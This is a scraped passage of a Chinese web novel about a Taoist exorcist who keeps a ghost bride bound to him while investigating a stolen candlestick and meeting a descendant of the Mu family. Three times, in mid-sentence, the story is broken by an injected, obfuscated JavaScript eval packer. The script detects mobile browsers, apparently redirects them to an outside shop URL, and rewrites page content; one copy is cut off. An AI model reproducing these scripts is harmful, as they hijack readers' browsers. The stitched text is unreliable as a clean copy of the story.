林疏脸上笑意骤然消失，嘲道：“洞房？你会吗？” 姬悬月邪魅一笑：“就是因为不会，才要好好学学、练练。” 林疏听了这话，却突然好像来了兴致，他慢慢撑起上半身，脸也朝姬悬月凑了过去。 姬悬月看着眼前逐渐靠近的脸，突然就觉得被蛊惑到了。 有一瞬间他连眼睛失去了焦距，如果他有心脏，此时恐怕会跳得非常快。 林疏却趁着姬悬月失神，右手挣脱束缚，伸指成爪，唰地将葫芦吸了过来！ 封口一摘，自作孽的姬悬月瞬间被吸进了葫芦里。 姬悬月：“……” “狡猾的臭道士！放我出来！！！”姬悬月咆哮。 林疏冷笑一声：“你在里面冷静一会儿吧！” 说着，他丢下葫芦，狼狈地冲进了卫生间。需要冷静的并不只有姬悬月一个。 随着哗哗水声响起，姬悬月大叫的声音被压下。 真解气！林疏一边冲澡一边大笑。 三分钟洗了个澡，林疏神清气爽回到床边，拍了拍还在四处滚的葫芦。 然后去书桌边打开书灯，开始写符。 姬悬月在葫芦里发狂，很快鼓动着葫芦滚下了床，发出“啪”一声。 林疏引动的灵气淬体，正笔走龙蛇渐入佳境。 被葫芦的声音吓得手指一抖，写废了一张符。 葫芦在地上没头苍蝇似的继续滚，很快撞上墙壁，又发出沉闷的“咕咚”声。 又怼上床脚，刮着床底板发出“咔嚓咔嚓”声。 林疏大怒，丢下一堆废符，冲过去抓葫芦想狠狠报复。 可是葫芦已经滚到床底，他够不着！ “姬……穆羽！”林疏愤怒道，“能不能别发出奇怪的声音！很讨厌！” 姬悬月在葫芦里中气十足地大骂：“你关我葫芦！我最讨厌这个臭葫芦，只要我还在这个葫芦里你就别想清静！做你的春秋大梦吧你！你要是不放我出来我就吵死你！你这个臭道士，只会用葫芦欺负鬼！” 林疏：“……” 林疏懒得跟他吵嘴，朝葫芦伸手准备用灵力直接吸过来。 结果姬悬月在葫芦里开始跟他角力，他吸了半天愣是没吸动！ 林疏傻了眼。 林疏气得原地转了两圈，最后还是撸起袖子好声好气道：“你出来，我够不着你怎么放你？你让葫芦过来，我就放你出来。” 8. 第 8 章 姬悬月大声道：“你必须答应我，以后再也不用这个破葫芦关我！” 林疏忙不迭点头：“我答应你，我再也不用这个葫芦关你。” “我知道你是骗我的，”姬悬月却道，“我一出去，你只会给葫芦加固几层封印。” 林疏：“……”呵呵，被你猜到了。 姬悬月冷静道：“这样，我们约法三章，你把我放出来，以后都别再关我葫芦，我出来之后随便你拿我当那个空什么调，我不会碰你一根手指头。我说到做到。” 林疏道：“我凭什么信你？” 姬悬月道：“穆家家训：诺不轻许，故我不负人。” 林疏：“……”他想说你又不是穆家人。 可是姬悬月似乎一直把自己当做穆家人。 林疏只得无声叹了口气，道：“好，我答应你。” 葫芦放弃了挣扎，飞进了林疏手中。 林疏盯着葫芦看了一会儿，他知道自己完全可以反悔。 毕竟他为刀俎，姬悬月为鱼肉，他是天师，姬悬月只是个鬼。 但他双指一动，倏然揭开了封印。 姬悬月狼狈地爬出来，林疏便发现他本就苍白的脸色更加难看。 姬悬月却没有暴走，只是爬到床上躺着不动了。 林疏便猜测，姬悬月可能是有什么幽闭恐惧症，不知是不是曾经被关在什么小黑屋过。 林疏开始觉得自己有些过分了。 但林疏也有自己的事要忙，他没时间去深挖姬悬月的心路历程。 回到桌案边，他捋清了思绪，专心执笔。 一口气写了十来张溯灵符，林疏打算明天把那个博物馆从里到外调|教一遍。 然后看看表，收拾了东西，打算接着睡。 躺下之后，他还特意跟姬悬月保持了大概三十厘米的距离。 但床小屋子热，他闭上眼睛不久，就在睡梦中本能朝姬悬月靠过去十厘米，又十厘米。 最后无知无觉地靠上姬悬月冰冷的手肘，才满意地沉沉睡去。 姬悬月被身边的人烫得烦，又怕推醒他被关葫芦里。 他是真的怕那个葫芦，一被关进去就烦躁得不行，浑身的汗毛都要立起来。 后半夜，气温终于逐渐降下来一些，林疏也睡得安稳了许多。 姬悬月就侧过身，努力和林疏保持了一点点距离。 窗外的月亮已经绕过大楼，去另一边了。 姬悬月没什么好看的，就只好继续烦躁地低头看林疏。 林疏睡得懵然不知，小嘴撅着，睫毛偶尔颤抖一下，不知道梦到了什么事情。 姬悬月盯着他看，看着看着，突然好像就没那么烦躁了。 第二天，林疏起床，耷拉着眼皮去洗漱。 临出门的时候把姬悬月栓好，突然颇有些意外地抬头看了他一眼：“你今天话很少？” 姬悬月眼皮一翻：“你希望我话多？” 林疏低头穿鞋：“当我没说。” 一人一鬼来到灵调局，林疏打算点个卯就去博物馆。 都拿着外勤的条子走到办公室门口了，他眼睛余光突然在桌上扫到一张撤销状。 他后撤两步，踩到了姬悬月的脚趾头，却理都没理姬悬月倒抽冷气的声音，拿起撤销状细读。 片刻后，林疏瞪大了眼睛。 博物馆撤销了案子！说已经与失主达成和解…… 可是博物馆不就是失主吗？ 林疏将撤销状往怀里一塞，缚灵索扯着姬悬月一路狂奔，骑着自行车冲向博物馆。 周二早上的博物馆几乎是门可罗雀。 林疏匆匆停了车，拉着飘浮的姬悬月往里头冲，冲到一半，博物馆老馆长迎出来了。 “林道长，”老馆长笑眯眯，“早啊，您怎么这么早就来了？” 林疏再急，面上功夫也是齐全的，一见着馆长就笑得温柔可亲了：“馆长早，吃了没？我来是想再走一遍昨天那个案子。” 老馆长一愣：“……哦，那个案子我申请撤销了，忘记告诉您了，真不好意思。” 林疏装出惊讶表情：“啊？撤销了？我倒是没得到通知，是怎么回事？” 老馆长一拍大腿：“我搞了个乌龙呐，三天前……就是失窃前一天晚上，我馆里的小刘接到穆家三爷的电话了，三爷说有件要紧的东西在我们这，不知道能不能拿回去。小刘嘴上说问问我，但是他把这事给忘了。” 林疏蹙眉道：“您是说，是穆家人把东西拿走的？” 老馆长笑眯眯道：“是啊，我一听这事，就知道是怎么回事了，那烛台本来是有一对，一只在我这，另一只他们穆家带到国外去了，这会儿穆三爷的儿子从国外回来了，想要回去凑做一对，我哪有不给的道理？” 林疏只得应了，知道这案子没法往下查了。 但他不屈不挠，仍旧和老馆长没话找话：“既然正好是穆家人要回去的，我这里还有件别的案子，有些事想问穆家后人，请问老馆长可否做个局，我想请穆家这位归国的少爷吃顿饭，不谈公事，就问问。” 老馆长犹豫了一下，道：“这个……我说不好，我一个半截入土的老头子，仅仅是跟他们父辈有点交情，怕是没那么大面子。我可以帮林道长联系他们，但他们应不应，我就……” “没关系，”林疏笑得简直可以称作和蔼可亲，“私事有私事的办法，公事有公事的办法。老馆长尽管去请，请不来，我直接找上门也是可以的。” 老馆长：“……” 林疏笑容满面告别了老馆长，心事重重出来推车。 他想起姬悬月曾经说过，穆家老宅附近早就没有人家居住了。 那么“穆宅扰民”是谁举报的？ 举报人是怎么知道穆宅每天子时过后吹吹打打热闹非凡？ 若不是那个案子，林疏在这座城市再上二十年班，恐怕也不会闲的没事去郊区的荒废老宅抓一只与世无争的鬼。 即使姬悬月是血孽厉鬼，可并没有再造冤孽。 灵调局就算点名要抓他，也是根本找不到他的。 林疏回到灵调局后，重新打卡外勤，又去了一趟递交“穆宅扰民案”的公安城郊分局。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883357|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 城郊分局的各位对于“特派天师”也是很尊敬的，很快就把“穆宅扰民案”的笔录和调查报告找出来给林疏看。 林疏翻看案卷，发现报案人是一个叫邱雨的妇女。 身份证号码属实，但留下的电话号码打不通，提示已关机。 林疏再调当天的监控录像，就看见一个衣着很朴素的女人挎着个篮子来报案。 她长得实在普通，林疏翻来覆去看了几遍，也没记住她的模样。 再查身份证，林疏发现邱雨是外来人口。 这下完球了，鹤城外来人口极其非常特别多，对于她报案后的行踪，分局这边无法查实。 她在鹤城甚至连居住证都没办过。 线索断了。 林疏泄气，拎着姬悬月回灵调局。 姬悬月坐在自行车后座，捏捏林疏的腰，问道：“你查这些做什么？想知道是谁举报的我扰民吗？” 林疏没好气道：“杀你的凶器丢了，被穆家人找回去了，你觉得他们想干什么？” 姬悬月道：“再杀我一次？” 林疏一口气没上来，笑得自行车连连后退。 他好不容易刹住了车，就回头去看美丽的鬼新娘：“你都死了，怎么再杀？我是怕他们借用致你死亡的凶器，试图召唤你，去帮他们做事。” 姬悬月看看手腕：“我被你绑着，如何替他们做事？” 林疏终于骑上了这个上坡，下面是个很长的下坡。 他松了口气，悠闲地松了脚蹬，任由自行车朝下飞驰：“你不知道吗，厉鬼的怨气通常附着在凶器上，得到了凶器，再用对方法，可以驱策厉鬼。” 风扬起他微卷的刘海，也吹起身后鬼新娘又黑又软的长发。 林疏的心情都被这风吹好了，他头也不回道：“不过你放心，有我在，不会让你再去做坏事了。” 姬悬月就在心里笑，心想我什么时候做过坏事？ 就算做过，我不记得了，那怎么能算我做的。 林疏懵然不知鬼新娘的狡辩，他心情极好地带着姬悬月回灵调局。 然后继续处理一桌子挤压的灵异案件。 说是灵异案件，其实多数都是乌龙或者人为。 毕竟在建国以后，世上再无牛鬼蛇神，灵调局的工作其实大多是与风水神明有关。 譬如何处山神异动，灵调局派人安抚。 何处神兽初诞，灵调局派人接收抚养。 所以特派天师的工作量很有限。 差不多半小时，林疏就整理好了所有案卷，开始摸鱼。 姬悬月飘在他身后，偷偷盯着他玩手机。 虽然还是有点看不懂这个“赛博墓碑”，但他被晶晶亮的屏幕吸引了全部注意力，偷看得很是认真。 但就在林疏即将操纵那个小人通关之时，他的手机屏幕一黑，然后一个号码亮了起来。 林疏一愣，马上点下接听：“喂？老馆长，您好，对，我是灵调局林疏。” 后面的话姬悬月听不见了，他被林疏随手拍的一个结界隔在了外头。 …… 9. 第 9 章 这天下班后，林疏匆匆骑车到家，把道袍脱了，换上了比较正常的衬衣西装—— 老馆长说穆家少爷答应赴宴，但是时间紧张，问林疏约的哪天？ 择日不如撞日，林疏对着镜子仔细梳头，摆正手表，又穿上皮鞋，拖着正托腮欣赏林疏新装的姬悬月，马不停蹄出了门。 鹤城“红梅酒家”的门口，林疏不时低头看表。 他的汗已经快把西装的后背浸湿了，但表情十分认真，看得旁边的姬悬月直蹙眉。 “这次约的是谁？”他忍不住出言讥讽，“打扮得这么清爽正派，是见你未来的老婆吗？” 旁边人太多，林疏不好出言回答，只得狠狠瞪了姬悬月一眼。 不多时，一辆低调奢华的黑色轿车停在红梅酒家门口。 林疏看着那车，知道它的价格在四十到八十之间，在鹤城算不上什么好车。 但品牌实力够硬，是很多年轻人会喜欢的车型。 车上下来一个年轻男人，很快跑到后座，拉开车门，笑着扶出一个林疏熟悉的人——老馆长。 林疏马上迎了上去：“老馆长！” 老馆长扶着那年轻人的手，连连道：“哎哎，人老了，不中用……” 年轻人笑着道：“您身体还是很硬朗的，快别这么说。啊，这位难道就是……”他一抬头，看到了林疏，马上露出个微笑。 林疏忙点头：“你好，我是林疏。” 男子便笑着伸出一只手：“穆迎秋。” 林疏握住他的手，仔细观察此人面相。 这个穆迎秋的皮肤很白，在红梅酒家招牌闪烁的灯光里，显得格外细腻。 他的眉眼几乎带点混血的意味，但眼皮非常薄，笑起来是那种非常柔和的桃花眼。 不过，他的脸庞有一种格外清冷的书卷气，这让他看起来并不像个外国人。 林疏道：“冒昧邀请您来，希望没有打扰到你。” 穆迎秋赶紧道：“我的荣幸。听闻林道长在灵调局工作，我们只是小小商人，对林道长还是很仰慕的。” 林疏拱手道：“不敢当，不敢当。穆先生可还有朋友要来？没有的话，咱们先进去吧。” 穆迎秋道：“说来惭愧，这次只我一个人回国，家兄还在意大利。林道长先请。” 两人扶着老馆长慢慢走进了包房。 林疏囊中羞涩，订的饭店不大，包间也很小。 但是穆迎秋很有教养，一路都没有露出鄙薄的表情。 三人坐定后，林疏点了菜，又问穆迎秋喝什么，要了酒。 等到互相客套告一段落，服务员也都离开了包房，林疏压低声音问道：“我通过老馆长邀请穆先生，是想问一件事。” 穆迎秋温和道：“林道长请说，我一定知无不言。” 林疏本能地偏过头看了姬悬月一眼，却发现他正直勾勾的盯着穆迎秋的脸。林疏有些奇怪，但没有多想，只道：“不知穆先生对自己家的祖宅有几分了解？” 穆迎秋愣了一下，与旁边的老馆长对视了一眼，有些尴尬道：“抱歉，我自小在国外长大，其实对老家的祖宅没有什么了解。” 林疏道：“没有听家里父母长辈们，说过什么祖宅的有趣旧闻吗？” 穆迎秋遗憾地摇摇头：“我们穆家海外的这一支，跟鹤城的亲戚……本来就没什么交往，这次我回国是为了一对文物。相信老馆长也告诉过您，那对烛台是老祖宗留下来的东西，我是为了把它们凑做一对，特意赶回来的。” 林疏只得道：“原来是这样。” 穆迎秋反问道：“林道长问我这些是什么意思？难道老宅中有什么事情发生吗？” 林疏道：“倒是没有什么特别的事。就是有村民投诉过，说老宅晚上有怪声扰民。不过通过我们的调查，那只是风声罢了。”他本能隐藏了姬悬月的事。 “哦……”穆迎秋点点头，“我的确没听说过这种事。原来灵调局每天调查的就是这些事？” 林疏笑着道：“没错，我们要讲科学。这世界上哪来那么多妖魔鬼怪？不过是庸人自扰。” 穆迎秋却来了兴致：“我从小就对这些国内的志怪异闻很有兴趣，不知道林道长有没有什么趣事可以说给我们听？” 林疏只得从这些年办过的案子里挑了几个有趣的、查到最后都是人为的，编成故事讲了出来，一时间席上非常热闹，大家都很开心。 只是除了一个人。 姬悬月。 林疏观察到姬悬月一直在用一种非常疑惑的眼神看着穆迎秋。 林疏不清楚那种眼神是什么，但他知道姬悬月一定发现了什么。 或者说……想起了什么。 饭局结束后，林疏与穆迎秋、老馆长告别。在穆迎秋坐上车之后，林疏正朝他招手。 却不经意间，看见身边的姬悬月无意识地向前追了几步，又被手腕上的缚灵索拉扯着回到了他身边。 林疏怔了一下，他的大脑在短时间内迅速转了一圈，马上跑到车门前，用指节敲了敲车窗：“穆先生！” 穆迎秋按下车窗：“林道长还有事？” 林疏掏出手机：“方便加个微信吗？” 穆迎秋有些意外，但还是好脾气地拿出手机让林疏扫了码。 目送着低调奢华的黑色轿车离开，林疏终于回过头去问姬悬月：“你今天怎么了？魂不守舍的。” 姬悬月摇了摇头没有回答他。 林疏吁了口气，疲惫地解开衬衣领口的两颗扣子，伸手去拦出租车。 一路上，姬悬月这个话痨却没有再说过一个字。 到家后，林疏脱掉一身的束缚去洗澡，他西装里头的衬衣几乎被汗水浸透了。 姬悬月坐在沙发上垂着眼皮坐着，纤长浓密的睫毛在脸上投下浅浅阴影。 直到林疏洗完出来，他都没有动过一下。 林疏一边擦头发一边走到他身边坐下：“你到底怎么了？你有事情瞒着我。” 姬悬月张了张口，好半天才道：“我一看到他，就有一种很熟悉的感觉。” 林疏顿时有种不祥的预感：“该不会……” 姬悬月抬头看他，凤眼中那双眸子黑得像深夜一般无边无际：“我不知道为什么，但我就是知道，他长得和小棠几乎一模一样。” 林疏：“……”他怎么也没想到，穆家的后人居然会出现跨了这么久的隔代遗传。 如果那个穆迎秋真的长得和穆绍棠非常像，那…… 那姬悬月会再次爱上他吗？ 这是一个难解之谜，你看见和自己故去的爱人长得一模一样的人，会将对已故之人的爱，转移到这个陌生人身上吗？ 虽然，大部分人会否认这一点，辩驳说我爱的明明是他的灵魂。 但实际上他们的身体比他们的意识诚实得多，他们会不自觉地移情到这个陌生人身上，企图在这个人与爱人相似的面孔中找到安慰。 甚至，林疏自己都很想做一个这样的人。 他很期望能从茫茫人海中找到与自己所爱之人相似的面孔。 可实际上，他连他已故的爱人长什么样，都已经忘记了。 想到这，他深呼吸一口气，试图开导姬悬月：“人活一世，草木一秋，不管穆迎秋和你的小棠长得有多像，也不是同一个人，你的小棠现在已经是一抔黄土，穆迎秋是他的后人，长得像他很正常。” 姬悬月点头：“我知道，你说的我都明白。” 林疏于是问姬悬月道：“那你现在什么感觉？想再见到他吗？” 姬悬月诚实道：“我不知道，但如果能见到，我想见一见。因为看见他之后我好像想起了很多东西，又好像没有想起。” 林疏随手捋了一把还在滴水的头发，低声问道：“那你可想起了你们是如何相爱？你是怎样决定要嫁给他？你们又是在哪里第一次相见？” “我想不起来。”姬悬月如实道：“看到穆迎秋的脸，只是给了我一种感觉。我不知道你能不能明白那种感觉，我看着他的脸，好像回到了那年，小棠活生生站在我面前。” 他的眼眸怔怔的，像是穿透了眼前的种种，落在了一个虚无缥缈的地方。 而那个地方，站着他的小棠。 林疏有些无奈。 他思索良久，轻轻推了一下姬悬月。 姬悬月扭头，就见林疏正用一种很深的眼神看着他。 姬悬月心中一动，他知道自己曾经的猜测确实是真的，林疏的眼神有时候会不经意间展露出一点别的东西——他其实已经老了。 林疏道：“不管你对穆迎秋是什么感想，他偷走了曾经取你性命的烛台，你想知道这件事的真相吗？” 姬悬月倒是很诚实：“想。” 林疏却有自己的小九九。 白天时，他曾抽空问过小纪，林主任还没有销假回来，他还需要至少收容姬悬月五天。 漫长的五天。 虽然姬悬月是个血孽厉鬼，但至少目前为止，他没有威胁到林疏的性命，还不吝于用阴气为林疏制冷(?)，姑且算是一个合格的室友。 如果林疏能在送姬悬月去收容之前，提前做好了调查取证，那么灵调局后续 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883358|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的工作就都能更顺利地进行—— 灵调局向来有这项业务，对收容的妖魔鬼怪进行有针对性的劳动改造。 而姬悬月被灵调局收容后，局内势必要调查血孽的来源，来推断姬悬月是否可以改造。 到时候只要他赎清血孽，就可以被送去往生。 血孽，又分为天生血孽和后天血孽。 天生血孽，意为厉鬼无缘由制造屠鲨。 这样的通常用不着灵调局，天罚自然会送他原地消散。 而后天血孽，就比较耐人寻味了。 他们通常是因为特殊原因成了厉鬼，大开杀戒也并非他们自愿。 换言之——为人所控。 这样的血孽厉鬼，灵调局曾经收容过一次。 他血孽虽重，但得知自己被人利用的真相后，便自己决定救自己，才心甘情愿散尽怨气，努力赎罪。 虽然最后还是被林主任用天雷送走了——因为血孽是很难赎清的。 只有手上人命超过两千的鬼才会生出血孽，这就需要他积攒拯救四千多点功德。 这对踩缝纫机日入0.3的鬼来说是很难的，那只血孽厉鬼最后被幽禁得疯了。 而林疏想为姬悬月试一试。毕竟曾经睡同一张床，也算是有缘。 如果林疏能让姬悬月弄明白他是因何而成的血孽厉鬼，他的怨气很有可能像那位前辈一样散尽。 只要他想拯救自己，林疏愿意想办法为他积攒功德。 反正天狐的寿命是很长的，他可以帮姬悬月，一直到姬悬月往生。 于是林疏道：“如果你想，那么明天我试着约他出来玩，到时候给你换上衣服，贴上符咒，咱们一起去见他怎么样？” 姬悬月奇怪地看了林疏一眼：“你会那么好心？” “……”林疏咆哮，“你摸着良心说！我虐待过你吗！” 姬悬月笑了，心想关葫芦不算吗？ 但林疏确实守诺，他本来以为林疏不会放他出来的。 于是他轻轻点了点头：“好。” 林疏被他的笑容晃花了眼睛，不太自然地转身，去拿手机了。 他发誓，他对姬悬月所有的耐心，都是因为这厮实在长了一副好皮囊！ 而林疏他自己，是个无可救药的颜控。 拿着微信摆摆弄弄，林疏找到新加的人。 这次他相信穆迎秋是刚回国了，他的微信看起来是个三无，无昵称，无头像，无朋友圈。 林疏：“穆先生你好，我是林疏。” 穆迎秋：“林道长你好，你可以叫我迎秋或者Jacob，他们都这么叫我。” 林疏：“呃，那我叫你迎秋吧，你也不用叫我林道长那么生疏，可以叫我林疏，或者小疏。” 穆迎秋：“我很好奇，林道长你是道教学院的学生吗？” 穆迎秋：“哦好的，那我叫你小疏。” 林疏：“我不是正统道教学院的学生，也不是受箓的道士，你可以当我是个民间手艺人，哈哈哈……” 穆迎秋：“好的（微笑表情）” 林疏：“说起来，迎秋会在国内待多久？” 穆迎秋：“这次回来，一是找那个烛台，二是谈一桩生意，可能会在国内待一个月。怎么了？” 林疏：“也没什么别的事，迎秋看起来跟我是同龄人，你不嫌弃的话，明天我们可以约着出来喝咖啡，我对你们穆氏家族很有兴趣。” 穆迎秋：“那当然可以，我明天下午三点后、晚上九点前都有时间。” 林疏：“我下班是五点，处理完事情大概六点半，那到时候我打给你。” 穆迎秋：“好的，我刚换了国内的新号码，184xxxx。” 林疏：“我可能会带一个朋友一起，他是研究鹤城历史和民俗的，也很想认识你。” 穆迎秋：“那当然很好。” 聊完，林疏松了口气，对姬悬月道：“约好了，明天下班后带你去买衣服……不，今天就去买！” 姬悬月：“？” 林疏飞速给姬悬月挑了一身好穿脱的运动衫，绑上缚灵索，然后在他胸口画符。 整理完之后他才发现自己还围着浴巾，又忙不迭冲进卫生间换衣服。 姬悬月被缚灵索拴着，不得不站在卫生间门口等。 他皱眉盯着磨砂玻璃里面影影绰绰的人影：“你在外面换会死吗？我手腕痛，你快点。” “男人不能说快！”林疏正在死命往头上套T恤，“而且你有没有点性别意识啊？咱俩都是gay，又不是情侣，怎么能当面换衣服。” 10. 第 10 章 姬悬月：“……”事是真多啊你！！！ 等林疏也收拾妥当，外头的天都黑透了，倒也正好方便遮掩姬悬月的黑眼圈。 但出门前林疏无意中抬头看了一眼，发现姬悬月的黑眼圈已经浅了很多。 林疏知道有些厉鬼通过吸收阳气可以让面色变得和活人一般。 但姬悬月整日待在他身边，哪来的阳气可以吸？ 反正他是没有，他本体是天狐，勉强算是仙家，阳气是有不了一点。 至多有点灵气，也都被他一早一晚画符耗光了。 但林疏又一想，反正眼下姬悬月没有害过人命，黑眼圈小点就小点。 他拽着姬悬月去逛了几个大学对面的服装城，把那些便宜大碗的服装品牌挨个走了一遍。 不多会儿，四位数已经花出去，而姬悬月手里拎满了纸袋。 没办法，姬悬月实在是肩宽腰窄，修长挺拔，脸又漂亮。 这些衣服，就没有他穿着不好看的。 逛了一圈下来，林疏这个月到手的工资又要见底了。 好穷啊！！！他哀嚎着，但是非常坚定地给姬悬月身上那件烟灰色水洗牛仔外套刷了卡。 最后林疏穷得打车都打不起了，只能拖着姬悬月走路回家。 好在林疏租住的房子离大学城不远，只是两人走着走着，回头率还是有些爆表了。 大学城附近到处都是夜游的清澈而愚蠢的大学生，他们开始偷拍林疏和姬悬月——主要是姬悬月。 林疏后知后觉发现被闪光灯包围，主要是身边的人实在惹眼。 吓得赶紧把姬悬月的兜帽拉起来，企图盖住他的绝世容颜。 姬悬月好脾气地弯下腰，好让林疏的手臂不必举得太高。 有几个路过的小姑娘赶紧按下快门，然后把照片发到群里和校园论坛。 照片里，高高的男生弯下腰，而矮个子男生（也没有很矮啊至少一米八啊）一脸凶光，伸长了胳膊去给他整理兜帽，手伸得太高了，T恤下摆都被抻起来，露出一截很细很白的腰。 一时间，所有看到照片的人都在尖叫说嗑到了嗑到了，大美人忠犬攻×护食小狼崽受什么的简直太好吃了。 林疏懵然不知自己和姬悬月的照片已经满天飞。 他疲惫地回到家，这次又没办法洗澡了，他的神志只够换完睡衣，连缚灵索都忘了解开，就睡着了。 姬悬月看看手腕上绑得死死的缚灵索，叹了口气，就着缚灵索的距离轻轻坐在了床边，林疏的身边。 他双肘撑着膝盖，低头沉思。 对于白天见过的那人，姬悬月有一种非常莫名的熟悉感。 他知道，那人与穆绍棠神似。 但这么多年过去，或许是因为他的记忆丢失了，他看到那人的时候，完全没有什么情绪的波动。 如果穆绍棠真的长那个样子，姬悬月觉得，他可以理解自己为什么非要以男人身份嫁给他。 那样的相貌，值得人为他倾尽一切。 但姬悬月想着那张脸，却没有任何的绮思。 他甚至很无所谓明天要不要去见那个家伙。 说想去见，也不是因为他对那家伙有什么想法。 他只是不想这样浑浑噩噩，什么都不记得。 今天……林疏挑的那些衣服，说是为了明天穿着见那个姓穆的。 但他其实并不期待明天的会面。他点头，只是因为林疏觉得好看。 姬悬月突然有些啼笑皆非，他知道在自己遗失的记忆里，一定是爱过一个人的。 难道他……只这么短的时间，就已经不爱小棠，而是爱上了他人？ 姬悬月很快又否认了这个想法，他对林疏也没有什么绮思，还心烦得很。 又怕林疏的葫芦，又想尽快解开手腕上这个束缚。 姬悬月无奈地叹口气，又扭头去看林疏。 这家伙平时看起来像那些年轻的“大学生”一样蠢。 有的时候却仙风道骨，眉眼深沉。 真不知道哪一面才是真的他。 第二天，林疏一心两用飞快处理了公务，然后划了隔音结界，给姬悬月讲了很多现代社会的生活常识。 因为林疏后知后觉意识到，姬悬月脱轨太久了。 他不知道什么是手机，什么是电子支付，很多东西他都不知道。 今晚林疏就要带着他去赴约了，如果被穆迎秋发现他的古怪，恐怕不是什么好事。 毕竟杀害姬悬月的凶器，是被穆迎秋偷走的。 哪怕姬悬月去见穆迎秋只是想找回一些记忆，这也是一件危险的事。 林疏得尽力把风险降到最低。 下班后，林疏火速带着姬悬月回家整理造型。 他给姬悬月换上了昨晚新买的白T和渐变色复古水洗牛仔裤，姬悬月那一米九的身高很好地撑起了这身衣服，大长腿名不虚传。 穿着这一身，简直可以当场出去走秀。 林疏则随便穿了个纯棉的联名款T恤和短裤，他实在太热了，穿不了长裤。 鞋子当然也是gay子的钟爱品牌…… 但姬悬月的不是。 姬悬月的鞋是他特意选的男大运动鞋，中规中矩，看着很正派又纯情，适合和新朋友交往。 林疏自己是个被师父师娘娇养长大的孩子，很潮也懂穿搭，姬悬月在他手里被鼓捣得瞬间成了时尚青年——忽略掉他那一头长发的话。 但搞学术的人打扮异类一点情有可原，头发两米又有什么稀奇？ 这也是林疏跟穆迎秋撒谎说姬悬月是研究民俗历史的原因。 收拾完后，林疏将缚灵索的长度延到了三米。 然后带着凝成实体的姬悬月出了门。 他们约在了河谷街一个小有名气的网红咖啡厅。 林疏到的时候，穆迎秋已经在里面坐着了。 “来晚了，不好意思。”林疏笑着走过去坐下，拉着姬悬月坐在身边，介绍道：“这位是穆羽，这位是穆迎秋……呃，好巧啊你们都姓穆。” “禾少白的穆？”穆迎秋马上伸出手来，“那真是太有缘了，说不定几百年前是一家人。” 姬悬月礼貌地与他握了握手：“我不是鹤城本地人，是读书到这里来的。”这是林疏教他的。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883359|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 林疏马上道：“你点了喝的吗？穆羽，你喝什么？” 穆迎秋道：“我点了美式，不知道你们喜欢什么，所以没点。” 林疏便看向姬悬月，而姬悬月静止了大约一秒钟，温和道：“跟你一样。” 林疏：“……”他明明叮嘱过姬悬月要说拿铁！姬悬月这厮……一定是忘了！ 林疏只得露出尴尬微笑，扫码点单，然后报复性地给姬悬月点了双倍糖。 穆迎秋喝了一口咖啡，道：“不知道这位穆先生……我可以叫你穆羽吗？” 姬悬月点头：“可以。” 穆迎秋于是道：“不知道穆羽想跟我了解一些什么？其实我都对小疏说过了，我在国外出生，对鹤城穆家其实了解不多。” 林疏还想搭几句话，没想到姬悬月直截了当道：“你知道穆家绍字辈吗？” 林疏差点心跳骤停。 穆迎秋却笑了，道：“这个我知道，我家族就是从这一辈开始分裂到国外的，那年老祖宗们生了一场病，大概是什么传染病吧，一大家子人没剩几个，正赶上留学热潮，我祖上的那位就带着后人移民国外了。” 姬悬月点点头：“我对这段历史很感兴趣。” 穆迎秋道：“我对这些了解倒是不多，如果家兄在就好了，他也喜欢研究一些民俗的东西。我家有一本穆氏的族谱——不是博物馆里那种，是一本细致地记载过各位祖宗及其生平、妻妾子女等的族谱。” 林疏连忙斟酌着问道：“还有这样的族谱？我记得国内的族谱通常只记妻子的姓氏，比如——赵钱氏，孙李氏。你家那本，连妻子的名字也会有吗？” 穆迎秋笑着摇摇头：“这个倒是没有，也只是冠以夫姓。不过族谱里会记录某位祖宗的生平事，当过什么官，娶了什么妻纳了几房妾，生育过几个子女，以及子女的名字之类。” 姬悬月道：“可有存档？能否借阅？” 林疏借着咖啡上来的时候赶紧解释：“我这个朋友他研究历史的，说话会有点文气。” “没关系，”穆迎秋笑起来的样子非常温和，“我很羡慕这种被传统文化熏陶的气质。我一直很向往我的祖国，只是很难能回来。所以能交到你们这样的朋友，我很高兴。” 他抿了一口咖啡，对姬悬月道：“借阅恐怕很难，但我可以打电话给家兄，让他把复印本传真过来。或者我可以直接把照片发到你的邮箱。” 姬悬月想问邮箱是什么，但知道这个问题很蠢，所以没问，只是看了一眼林疏。 林疏赶紧道：“那自然是好，我……穆羽记不住他的邮箱密码，我留个邮箱给你吧。”他暗暗擦了把冷汗，去拿桌子边角的便利贴。 咖啡厅的桌子上都有一盒便利贴和几支笔，方便来此喝咖啡的人将祝福写下来贴在墙上。 